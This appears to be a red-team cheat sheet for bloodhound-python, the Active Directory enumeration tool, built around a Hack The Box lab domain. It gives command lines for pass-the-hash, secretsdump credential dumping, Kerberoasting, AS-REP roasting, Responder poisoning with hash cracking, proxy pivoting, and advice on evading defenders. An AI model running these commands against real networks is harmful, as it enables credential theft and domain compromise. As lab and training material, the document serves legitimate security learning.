BloodHound

Remote Active Directory enumeration ingestor for BloodHound over LDAP.

Overview

bloodhound-python (aka BloodHound.py) is a Python-based ingestor that collects AD data remotely without executing code on Windows systems.

Key features:

Remote enumeration from Linux
No code execution on target required
LDAP-based collection with multiple authentication methods
Kerberos support
Outputs JSON files for BloodHound

When to Use bloodhound-python vs SharpHound

Scenario	Tool
Have valid AD credentials, attacking from Linux	bloodhound-python
Have shell access on Windows machine	SharpHound
Need session enumeration	SharpHound
Remote enumeration only	bloodhound-python
Need local admin rights detection	SharpHound
Stealth is priority (no Windows execution)	bloodhound-python

Note — For current BloodHound Community Edition (BHCE), use the -v legacy output or the maintained bloodhound-ce-python fork depending on your ingestor version; the collection flags shown here are unchanged.

Installation

Kali Linux

# Usually pre-installed on Kali
bloodhound-python --help

# If not installed
sudo apt update
sudo apt install bloodhound.py

Manual Installation (pip)

# Install via pip
pip3 install bloodhound

# Or install from GitHub (latest version)
git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py
pip3 install .

# Verify installation
bloodhound-python --version

Dependencies

# Required dependencies
pip3 install dnspython ldap3 impacket

# For Kerberos support
sudo apt install krb5-user
pip3 install pyasn1 pyasn1-modules

Basic Usage

# Basic enumeration with all collection methods
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41

# With automatic ZIP creation
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip

# Specify output directory
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 -o /tmp/bloodhound

# Custom collection name
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --collectionmethod all

Essential Parameters

Parameter	Description	Example
`-c, --collectionmethod`	Collection method(s)	`-c all`
`-u, --username`	Username	`-u judith.mader`
`-p, --password`	Password	`-p judith09`
`-d, --domain`	Domain name	`-d certified.htb`
`-ns, --nameserver`	Domain Controller IP	`-ns 10.10.11.41`
`-dc, --domain-controller`	DC hostname	`-dc DC01.certified.htb`

Authentication Methods

Method 1: Username & Password

# Basic password authentication
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41

# With domain prefix
bloodhound-python -c all -u certified.htb/judith.mader -p judith09 -ns 10.10.11.41

# Using domain\username format
bloodhound-python -c all -u 'certified.htb\judith.mader' -p judith09 -ns 10.10.11.41

Method 2: NTLM Hash (Pass-the-Hash)

# Using NTLM hash
bloodhound-python -c all -u judith.mader --hashes :8846f7eaee8fb117ad06bdd830b7586c -d certified.htb -ns 10.10.11.41

# With LM hash (usually empty)
bloodhound-python -c all -u judith.mader --hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c -d certified.htb -ns 10.10.11.41

# From secretsdump output
bloodhound-python -c all -u administrator --hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 -d certified.htb -ns 10.10.11.41

Method 3: Kerberos Authentication

# Using Kerberos ticket
bloodhound-python -c all -u judith.mader -d certified.htb -ns 10.10.11.41 -k

# With ticket cache
export KRB5CCNAME=/tmp/judith.ccache
bloodhound-python -c all -u judith.mader -d certified.htb -ns 10.10.11.41 -k --kerberos

# Using AES key
bloodhound-python -c all -u judith.mader -d certified.htb -ns 10.10.11.41 --aesKey <aes_key>

Method 4: No Password (with .ccache file)

# Set Kerberos ticket cache
export KRB5CCNAME=/tmp/krb5cc_judith.mader

# Run without password
bloodhound-python -c all -u judith.mader -d certified.htb -ns 10.10.11.41 -k --no-pass

Method 5: Interactive Password Prompt

# Prompt for password (no password in bash history)
bloodhound-python -c all -u judith.mader -d certified.htb -ns 10.10.11.41
# Will prompt: Password:

Collection Methods

Method	Collects
all	Everything below
group	Groups and members
localadmin	Local admin relationships
session	Logged on users
trusts	Trust relationships
default	Group, LocalAdmin, Session, Trusts
container	OUs and Containers
psremote	PowerShell remoting access
dcom	DCOM execution rights
rdp	Remote Desktop access
objectprops	Additional AD object properties
acl	Access Control Lists
loggedon	Currently logged on users

# All methods (most comprehensive)
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41

# Default methods only
bloodhound-python -c default -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41

# Specific single method
bloodhound-python -c group -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41

# Multiple specific methods
bloodhound-python -c group,acl,trusts -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41

# All except sessions (less noisy)
bloodhound-python -c group,localadmin,trusts,acl,container,objectprops -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41

Speed vs completeness:

# Quick enumeration (fastest)
bloodhound-python -c group,trusts -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41

# Comprehensive enumeration (slower but complete)
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41

# Stealth enumeration (LDAP only, no SMB)
bloodhound-python -c group,acl,objectprops,container,trusts -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41

Advanced Options

Domain Controller Specification

# Using IP address (nameserver)
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41

# Using hostname (domain controller)
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -dc dc01.certified.htb

# Using FQDN
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -dc dc01.certified.htb -ns 10.10.11.41

# Multiple DCs (will try in order)
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41,10.10.11.42

LDAP Configuration

# Specify LDAP port (default: 389)
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 389

# Use LDAPS (secure LDAP, port 636)
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 636

# Use Global Catalog port
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 3268

# Use GC-SSL
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 3269

# Disable LDAP signing/channel binding enforcement
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 636 --disable-signing

DNS Configuration

# Force TCP for DNS queries
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --dns-tcp

# Specify DNS timeout
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --dns-timeout 5

Global Catalog Options

# Use Global Catalog for queries
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --global-catalog

# Specify GC hostname
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --gc dc01.certified.htb

Computer/Host Enumeration

# Exclude domain controllers from enumeration
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --exclude-dcs

# Custom computer filter (LDAP filter)
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --computerfilter "(operatingSystem=*Server*)"

Output Options

# Default output (current directory)
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41

# Custom output directory
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 -o /tmp/bloodhound_data

# Specific output directory with ZIP
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 -o /tmp/bh --zip

Output files (without --zip):

20241127163045_computers.json
20241127163045_users.json
20241127163045_groups.json
20241127163045_domains.json
20241127163045_gpos.json
20241127163045_ous.json
20241127163045_containers.json

With --zip: 20241127163045_bloodhound.zip (contains all JSON files).

Common Usage Scenarios

Scenario 1: Initial Domain Enumeration

# Quick initial recon
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip

# Save to specific location
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 -o ~/htb/certified/bloodhound --zip

Scenario 2: Stealth Enumeration (LDAP Only)

# No SMB connections, LDAP queries only
bloodhound-python -c group,acl,objectprops,trusts -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip

# Minimize queries
bloodhound-python -c group,trusts -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip

Scenario 3: After Obtaining Hash

# Pass-the-hash attack
bloodhound-python -c all -u administrator --hashes :32693b11e6aa90eb43d32c72a07ceea6 -d certified.htb -ns 10.10.11.41 --zip

# After secretsdump
impacket-secretsdump certified.htb/judith.mader:judith09@10.10.11.41
# Use extracted hash
bloodhound-python -c all -u administrator --hashes :32693b11e6aa90eb43d32c72a07ceea6 -d certified.htb -ns 10.10.11.41 --zip

Scenario 4: Multi-Domain Environment

# Enumerate parent domain
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip

# Enumerate child domain
bloodhound-python -c all -u judith.mader -p judith09 -d child.certified.htb -ns 10.10.11.42 --zip

# Enumerate trusted domain (if creds work)
bloodhound-python -c all -u judith.mader -p judith09 -d external.local -ns 10.10.11.50 --zip

Scenario 5: Kerberos Authentication

# Get TGT first
impacket-getTGT certified.htb/judith.mader:judith09

# Set ticket cache
export KRB5CCNAME=/tmp/judith.mader.ccache

# Run bloodhound with Kerberos
bloodhound-python -c all -u judith.mader -d certified.htb -ns 10.10.11.41 -k --no-pass --zip

Scenario 6: Through SOCKS Proxy

# Set up proxy (e.g. with chisel)
export HTTP_PROXY=socks5://127.0.0.1:1080
export HTTPS_PROXY=socks5://127.0.0.1:1080

# Or use proxychains
proxychains bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip

Scenario 7: Limited User Permissions

# Low-privilege user - collect what you can
bloodhound-python -c group,trusts -u lowpriv -p password123 -d certified.htb -ns 10.10.11.41 --zip

SharpHound Comparison

Feature	bloodhound-python	SharpHound
Platform	Linux/Remote	Windows/Local
Execution	No code on target	Runs on target
Sessions	Limited	Full
Local Admin	Via LDAP	Direct query
LDAP Data	Full	Full
Groups	Full	Full
ACLs	Full	Full
GPOs	Full	Full
Stealth	Better	More noisy
Speed	Slower	Faster

bloodhound-python:

bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip

SharpHound equivalent (on Windows as judith.mader):

.\SharpHound.exe -c All -d certified.htb --domaincontroller 10.10.11.41

Troubleshooting

“Could not resolve domain”

# Add to /etc/hosts
echo "10.10.11.41 certified.htb dc01.certified.htb" | sudo tee -a /etc/hosts

# Use DC hostname
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -dc dc01.certified.htb -ns 10.10.11.41

“Authentication failed”

# Check credentials
nxc smb 10.10.11.41 -u judith.mader -p judith09 -d certified.htb

# Try different username formats
bloodhound-python -c all -u 'certified.htb\judith.mader' -p judith09 -ns 10.10.11.41
bloodhound-python -c all -u judith.mader@certified.htb -p judith09 -ns 10.10.11.41
bloodhound-python -c all -u certified.htb/judith.mader -p judith09 -ns 10.10.11.41

# Check for account lockout
nxc ldap 10.10.11.41 -u judith.mader -p judith09 -d certified.htb

“LDAP connection failed”

# Try different LDAP port
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 389

# Try LDAPS
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 636

# Disable signing
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --disable-signing

# Check connectivity
nmap -p 389,636,3268,3269 10.10.11.41

“DNS resolution failed”

# Add DNS server to /etc/resolv.conf
echo "nameserver 10.10.11.41" | sudo tee /etc/resolv.conf

# Use --dns-tcp
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --dns-tcp

“Kerberos authentication failed”

# Check KRB5CCNAME and verify ticket
echo $KRB5CCNAME
klist

# Get fresh ticket
impacket-getTGT certified.htb/judith.mader:judith09 -dc-ip 10.10.11.41
export KRB5CCNAME=/tmp/judith.mader.ccache

“Module not found”

# Install dependencies
pip3 install bloodhound dnspython ldap3 impacket

# Or reinstall
pip3 install --upgrade bloodhound

Post-Collection

Verify Output Files

# Check generated files
ls -lh *bloodhound* *_*.json

# Verify JSON files
for file in *.json; do
    echo "Checking $file"
    jq empty "$file" && echo "Valid JSON" || echo "Invalid JSON"
done

# Count objects in files
echo "Users: $(jq '.users | length' *_users.json)"
echo "Groups: $(jq '.groups | length' *_groups.json)"
echo "Computers: $(jq '.computers | length' *_computers.json)"

Import to BloodHound

# Start Neo4j
sudo neo4j start

# Start BloodHound GUI
bloodhound

# Or use bloodhound-import (if available)
bloodhound-import -f 20241127163045_bloodhound.zip

Manual ZIP Creation

zip bloodhound_certified.zip *_computers.json *_users.json *_groups.json *_domains.json *_gpos.json *_ous.json *_containers.json

Chaining with Other Tools

# 1. Enumerate domain users first
nxc ldap 10.10.11.41 -u judith.mader -p judith09 -d certified.htb --users

# 2. Run BloodHound
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip

# 3. Enumerate shares
nxc smb 10.10.11.41 -u judith.mader -p judith09 -d certified.htb --shares

# 4. Check for AS-REP roasting
impacket-GetNPUsers certified.htb/judith.mader:judith09 -dc-ip 10.10.11.41 -request

# 5. Kerberoasting
impacket-GetUserSPNs certified.htb/judith.mader:judith09 -dc-ip 10.10.11.41 -request

Automation Script

#!/bin/bash
# bloodhound_auto.sh

DOMAIN="certified.htb"
DC_IP="10.10.11.41"
USERNAME="judith.mader"
PASSWORD="judith09"
OUTPUT_DIR="/tmp/bloodhound_$(date +%Y%m%d_%H%M%S)"

echo "[+] Creating output directory: $OUTPUT_DIR"
mkdir -p "$OUTPUT_DIR"

echo "[+] Running BloodHound collection..."
bloodhound-python -c all \
    -u "$USERNAME" \
    -p "$PASSWORD" \
    -d "$DOMAIN" \
    -ns "$DC_IP" \
    -o "$OUTPUT_DIR" \
    --zip

echo "[+] Collection complete! Output saved to: $OUTPUT_DIR"
ls -lh "$OUTPUT_DIR"

From Responder/LLMNR Poisoning

# 1. Capture credentials with Responder
sudo responder -I tun0 -wv

# 2. Crack the hash
hashcat -m 5600 captured.hash /usr/share/wordlists/rockyou.txt

# 3. Use credentials with BloodHound
bloodhound-python -c all -u captured_user -p cracked_pass -d certified.htb -ns 10.10.11.41 --zip

Operational Security

# Minimal queries (stealthy)
bloodhound-python -c group,trusts -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip

# Avoid computer enumeration (no SMB connections)
bloodhound-python -c group,acl,trusts -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip

# Use LDAPS for encryption
bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 636 --zip

What defenders might see: LDAP queries from an unusual source, many LDAP binds in a short time, queries for sensitive attributes (adminCount, etc.), and SMB connections for session enumeration. Mitigate by using a compromised internal host as a jump box, spreading collection over time, and preferring SharpHound on a compromised Windows box when appropriate.

Quick Reference Card

# Standard enumeration
bloodhound-python -c all -u USER -p PASS -d DOMAIN -ns DC_IP --zip

# With hash
bloodhound-python -c all -u USER --hashes :NTHASH -d DOMAIN -ns DC_IP --zip

# With Kerberos
export KRB5CCNAME=/tmp/ticket.ccache
bloodhound-python -c all -u USER -d DOMAIN -ns DC_IP -k --no-pass --zip

# Stealth mode
bloodhound-python -c group,acl,trusts -u USER -p PASS -d DOMAIN -ns DC_IP --zip

# Custom output
bloodhound-python -c all -u USER -p PASS -d DOMAIN -ns DC_IP -o /tmp/bh --zip

# Through proxy
proxychains bloodhound-python -c all -u USER -p PASS -d DOMAIN -ns DC_IP --zip

Resources

BloodHound.py GitHub: https://github.com/fox-it/BloodHound.py
BloodHound Documentation: https://bloodhound.readthedocs.io/
BloodHound GUI: https://github.com/BloodHoundAD/BloodHound
Custom Cypher Queries: https://github.com/hausec/Bloodhound-Custom-Queries